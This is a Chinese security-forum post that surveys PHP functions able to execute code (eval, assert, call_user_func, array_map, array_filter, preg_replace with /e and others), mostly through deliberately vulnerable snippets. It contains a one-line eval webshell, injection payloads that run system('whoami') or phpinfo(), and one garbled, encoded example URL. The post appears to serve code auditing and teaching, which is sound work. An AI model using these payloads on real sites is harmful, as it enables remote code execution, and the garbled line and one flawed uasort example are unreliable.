首页
社区
课程
招聘
[原创]php代码执行函数
发表于: 2025-6-6 10:03 489

[原创]php代码执行函数

2025-6-6 10:03
489

有时候相要用一些命令,但是网上的资料良莠不齐,于是花了几天时间慢慢整理了一份php代码执行函数


中间添加了一些例子,可以更方便的理解这个函数在不安全的开发中所导致的问题

eval()

eval函数将字符串当初php代码执行,比如说

常见的就是一句话木马:<?php @eval($_POST[1]);?>

<?php
$str = 'This is a $test';

$test = '骗你的';
echo $str;
eval("\$str = \'$str\';");
echo $str;
?>
<?php
$str = 'This is a $test';

$test = '骗你的';
echo $str;
eval('\$str = \"$str\";');
echo $str;
?>

会输出骗你的



双引号:双引号中的变量会被解析为它们的值  

单引号:单引号中的变量不会被解析,而是直接作为普通字符串输出


@的作用: 这是为了屏蔽报错信息



assert()

一般来说,assert用于调试,比如说检查条件是否为真

assert(1==1);//正常执行
assert(1==2);//触发警告

在php 5-7版本中,这个函数可以被使用,7.2版本后不可

assert可被执行函数。相当于内置eval

例如

<?php
$user_input = $_GET['code'];
assert($user_input); 
?>



call_user_func()

1.恶意代码执行

<?php
// 假设用户输入可以控制 $func 和 $arg
$func = $_GET['func'];
$arg = $_GET['arg'];

call_user_func($func, $arg);
?>

例如:

292K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8X3g2^5j5h3#2H3L8r3g2Q4x3X3g2U0L8$3#2Q4x3V1k6$3N6h3I4F1i4K6u0W2M7r3S2H3i4K6y4r3k6Y4g2F1j5#2)9K6c8s2y4&6M7%4c8W2L8g2)9J5y4X3q4E0M7q4)9K6b7X3q4J5k6#2)9K6c8r3I4K6

执行system("ls")

2.调用内部类:要以数组的形式

<?php
class a {   
    function b($c)   
    {   
        echo $c;   
    }   
}   
call_user_func(array("a", "b"),"111");   
//显示 111   
?>


create_function()

php8.0之前,5.2-8.0

这里是一个代码注入的案例

<?php
error_reporting(0);
$sort_by = $_GET['sort_by'];
$sorter = 'strnatcasecmp';
$databases=array('1234','4321');
$sort_function = ' return 1 * ' . $sorter . '($a["' . $sort_by . '"], $b["' . $sort_by . '"]);';
usort($databases, create_function('$a, $b', $sort_function));
?>

payload:http://localhost/test1.php?sort_by=%27%22]);}phpinfo();/*

'"]);}phpinfo();/*

$sort_function =
  ' return 1 * ' . $sorter . '($a["' . $sort_by . '"], $b["' . $sort_by . '"]);';
' return 1 * ' . $sorter . '($a["' . '"]);}phpinfo();/* . '"], $b["' . $sort_by . '"]);';
也就是说
' return 1 * ' . $sorter . '($a["' . '"]);}phpinfo();

也就是说,无论后面有什么,都被注释掉了,只进行了匿名函数的创建和phpinfo

array_map()

为数组的每个元素应用回调函数,可以调用自定义函数或自带函数  

array_map(callable $callback, array $array1, array ...$arrays): array

返回数组,是为array1每个元素应用callback函数之后的数组。callback函数形参的数量和传给array_map()数组数量,两者必须一样  

// API 参数传入 ?func=system&args[]=ls
$func = $_GET['func'];         // 用户传入的函数名
$args = $_GET['args'];         // 用户传入的数组参数

$result = array_map($func, $args);

?func=system&args[]=whoami

array_map(system, [whoami]);

<?php
highlight_file(__FILE__);

$callback = $_GET['action'];  // 用户控制
$data = array($_GET['payload']);
$result = array_map($callback, $data);
?>


function evil($input) {
   eval($input);  //  RCE 入口
}



如果代码2中include 了代码1,那么可以利用同名函数,传入action = evil&payload=system('whoami');


call_user_func_array()

用于调用回调函数,并且允许你以数组形式传递参数  

mixed call_user_func_array ( callable $callback , array $param_arr )
<?php
header('Content-Type: application/json');

$func = isset($_REQUEST['func']) ? $_REQUEST['func'] : '';

// 判断是否传入了函数名
if (empty($func)) {
    echo json_encode(array('error' => '函数名不能为空'));
    exit;
}

// 处理参数:支持数组或 JSON 字符串
if (isset($_REQUEST['params'])) {
    if (is_array($_REQUEST['params'])) {
        $params = $_REQUEST['params'];
    } else {
        $params = json_decode($_REQUEST['params'], true);
    }
} else {
    $params = array();
}

if (!is_array($params)) {
    echo json_encode(array('error' => '参数格式错误,应为数组'));
    exit;
}

// 安全调用函数
try {
    $result = call_user_func_array($func, $params);
    echo json_encode(array('result' => $result));
} catch (Exception $e) {
    echo json_encode(array('error' => $e->getMessage()));
}




array_filter()

第二个参数是回调函数,可以是函数名字符串,也可以是匿名函数。

array_filter(array $array, ?callable $callback = null): array

越权漏洞:

<?php
highlight_file(__FILE__);
header('Content-Type: text/html; charset=utf-8');
// 假设这是用户从请求传来的权限列表,可能是低权限用户
$user_permissions = isset($_POST['permissions']) ? $_POST['permissions'] : array();

// 错误用法:默认 array_filter 过滤假值
$filtered_permissions = array_filter($user_permissions);

// 业务权限判定逻辑,判断是否有 admin 权限访问后台管理
function has_admin_access($permissions) {
    // 这里本意是 admin 权限用户才能访问
    // 但误用 array_filter 导致权限丢失,判定逻辑被绕过
    return in_array('admin', $permissions);
}

// 伪代码,允许访问的条件还包括低权限 '0' 可以访问某些普通页面
if (has_admin_access($filtered_permissions)) {
    echo "访问后台管理页面";
} else if (in_array('0', $filtered_permissions)) {
    echo "访问普通用户页面";
} else {
    echo "无权限访问";
}
?>

正常来说,权限为0应该是返回无权限,入下图


可是在再次传入一个值为admin时却能返回后台,这是因为什么?



array_filter'0'0 视为假值过滤掉,导致过滤后权限数组缺失这些权限  


注入漏洞

当传入的参数可控时就会造成RCE  

<?php 
    highlight_file(__FILE__);
    array_filter(array($_REQUEST['arg1']),$_REQUEST['arg2']); 
?>

这会将 $_REQUEST['arg1'] 放进数组,然后对数组调用 $_REQUEST['arg2'] 作为回调函数。  


arg1 = phpinfo(),实际传入的是字符串 "phpinfo()",放入数组后成为 ["phpinfo()"]

arg2 = assert  

调用后

array_filter(["phpinfo()"], "assert");

也就是说,执行了 phpinfo() 函数;


phpinfo() 是一个函数调用的字符串,不是函数名,不能直接作为回调函数执行  , 如果你传入其它回调函数名,比如 "phpinfo"array_filter 会调用 phpinfo("phpinfo()"),这会报错,因为 phpinfo() 不接受参数;   只有 assert 作为回调,才会把字符串 "phpinfo()"当作 PHP 代码执行,所以能执行你想要的函数。  

 

uasort()

PHP 中用于根据用户自定义的比较函数对数组进行排序的函数  ,如果 允许用户通过外部输入指定回调函数,可能会导致 任意函数调用代码执行风险


PHP <=5.6 且 assert 没有被禁用,会执行字符串参数,造成 RCE  

漏洞示例:

<?php
// 不安全的实现 - 允许用户控制排序函数
function insecureSortProducts(array &$products, string $userProvidedCallback) {
    // 危险!直接使用用户提供的字符串作为函数名
    uasort($products, $userProvidedCallback);
}

// 攻击者可以这样利用:
$products = [
    'p1' => ['name' => 'Product A', 'price' => 100],
    'p2' => ['name' => 'Product B', 'price' => 200]
];

// 攻击者注入恶意函数
insecureSortProducts($products, eval($_GET[1]));

// 如果后续有调用,可能执行系统命令
// 例如在某些框架中,排序后可能会自动输出内容


usort() 使用用户自定义的比较函数对数组进行排序。

uasort() 使用用户自定义的比较函数对数组按键值进行排序。

uksort() 函数使用用户自定义的比较函数按照键名对数组排序,并保持索引关系


preg_replace()

mixed preg_replace ( mixed pattern, mixed replacement, mixed subject [, int limit])  


执行一个正则表达式的搜索和替换  

利用这个函数的特点,存在/e修饰符,而这个/e是允许代码执行的(replacement)

只要有参数可控,就有漏洞,因为本质上来说,是相当于执行了eval

<?php
$user_input = $_GET['input'];
$pattern = '/.*/';//匹配任意字符
$replacement = function ($matches) {
    return strtoupper($matches[0]); // 示例:将匹配内容转为大写
};
$result = preg_replace_callback($pattern, $replacement, $user_input);
?>
<?php
$user_input = $_GET['input'];
$pattern = '/.*/e';//匹配任意字符
$replacement = function ($matches) {
   return strtoupper($matches[0]); // 示例:将匹配内容转为大写
};
$result = preg_replace($pattern, $replacement, $user_input);
?>

第一个是一个安全的写法,那我如果改成下面的写法,它会不会执行呢?

答案是不会,因为preg_replace本质上是字符串替换,它希望$replacement传入的是一个字符串而不是一个 函数  ,所以这段代码会报错

那么什么情况下,这个preg_replace具有漏洞呢?

<?php
$user_input = $_GET['input'];
$pattern = '/.*/e';
$replacement = 'system("$0")';
$result = preg_replace($pattern, $replacement, $user_input);
?>

用户可以控制输入什么$user_input = $_GET['input'];

/.+/e 正则匹配输入的所有字符  

$0 代表 整个匹配的字符串

$1, $2 等代表第1、第2个捕获分组的内容  

preg_replace('/.+/e', '匹配第一个', 'whoami');


再次进行修改一下,把这个值改为可传参数

$replacement = 'eval($_GET["x"])';

答案是肯定的


那如果这里不是命令执行函数呢?


这里举个例子

<?php
  
$user_input = $_GET['input'];
$pattern = '/.*/e';
$replacement = '$0';  

$result = preg_replace($pattern, $replacement, $user_input);

echo $result;
?>


<?php
$user_input = $_GET['input'];
$pattern = '/.*/e';
$replacement = '"Hello".$0';
$result = preg_replace($pattern, $replacement, $user_input);
?>

如果这是在一个注册页面后存在的话,比如说驴子注册后,下一个页面就显示hello 帅气的驴子,可是万万没想到,灰客看见这个代码欣喜若狂,直接来一个

?input=phpinfo(),直接成功,灰客说,让我看看是什么权限


preg_replace('/.*/e', '"Hello".$0', $user_input);

执行了eval('"Hello".phpinfo()');




[培训]科锐逆向工程师培训第53期2025年7月8日开班!

收藏
免费 0
支持
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回